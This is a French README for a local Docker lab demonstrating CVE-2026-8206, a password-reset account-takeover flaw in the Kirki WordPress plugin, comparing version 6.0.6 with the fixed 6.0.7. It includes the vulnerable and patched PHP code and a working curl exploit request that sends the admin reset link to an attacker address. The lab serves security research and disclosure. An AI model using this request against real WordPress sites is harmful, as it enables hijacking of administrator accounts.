
Laboratoire Docker local démontrant la CVE-2026-8206, une prise de contrôle de compte non authentifié dans le plugin Kirki WordPress. Compare la version vulnérable 6.0.6 vs la version corrigée 6.0.7 avec un script PoC et une vérification de courrier capturé.
Laboratoire Docker local pour démontrer CVE-2026-8206 dans le plugin WordPress Kirki.
Ce dépôt compare les versions réelles du plugin Kirki :
vuln : Kirki 6.0.6patched : Kirki 6.0.7Le laboratoire est local uniquement et lie les services WordPress à 127.0.0.1.
La preuve de concept est à moindre risque : elle demande une réinitialisation de mot de passe et vérifie le destinataire de l'e-mail capturé dans le laboratoire. Elle ne modifie aucun mot de passe.
CVE-2026-8206 est une vulnérabilité de prise de contrôle de compte / escalade de privilèges non authentifiée dans les versions 6.0.0 à 6.0.6 de Kirki.
Le gestionnaire de réinitialisation de mot de passe vulnérable crée une clé de réinitialisation pour un utilisateur WordPress réel sélectionné par username, mais envoie l'e-mail de réinitialisation à une adresse e-mail arbitraire fournie dans la requête.
Dans ce laboratoire :
vulnerable => reset link for admin is sent to [email protected]
patched => mismatched email is rejected and no reset email is sent to [email protected]
6.0.0 à 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
Le gestionnaire vulnérable est :
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki lit l'e-mail fourni par l'attaquant depuis le corps de la requête :
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
Il résout ensuite l'utilisateur WordPress cible par nom d'utilisateur et crée une clé de réinitialisation de mot de passe pour cet utilisateur :
$key = get_password_reset_key( $user );
Mais l'e-mail de réinitialisation final est envoyé au $email fourni dans la requête :
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Cela brise la frontière de confiance entre l'identité du compte et le destinataire de l'e-mail de réinitialisation. Un demandeur non authentifié peut fournir :
username=admin
[email protected]
La clé de réinitialisation appartient à admin, mais l'e-mail est livré à l'adresse contrôlée par l'attaquant.
Kirki 6.0.7 valide que l'e-mail fourni correspond à l'e-mail enregistré de l'utilisateur résolu, puis force le destinataire à l'e-mail du compte avant l'envoi :
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Les e-mails locaux sont capturés dans des fichiers au lieu d'être envoyés à l'extérieur :
artifacts/vuln-mail/
artifacts/patched-mail/
Le laboratoire utilise des versions réelles du plugin Kirki installées avec WP-CLI. La source du plugin n'est pas modifiée.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requestsInstallez la dépendance Python si nécessaire :
python3 -m pip install requests
Démarrer les conteneurs :
docker compose up -d --build
Initialiser les deux instances WordPress :
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
Exécuter la PoC :
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Résultat attendu :
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
Résultat attendu :
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
Créez le nonce correct de l'élément Kirki dans le laboratoire vulnérable :
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Envoyez une requête locale uniquement au service vulnérable :
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Vérifiez l'e-mail capturé :
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Preuve vulnérable attendue :
To: [email protected]
... action=rp ... login=admin ...
Ce laboratoire est destiné uniquement à la recherche en sécurité locale et à la démonstration de portfolio.
Gardes-fous :
127.0.0.1.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| Service | Objectif | URL hôte |
|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL pour le WordPress vulnérable | Réseau Docker uniquement |
db_patched | MySQL pour le WordPress corrigé | Réseau Docker uniquement |
wpcli_vuln | Initialise le WordPress vulnérable | configuration unique |
wpcli_patched | Initialise le WordPress corrigé | configuration unique |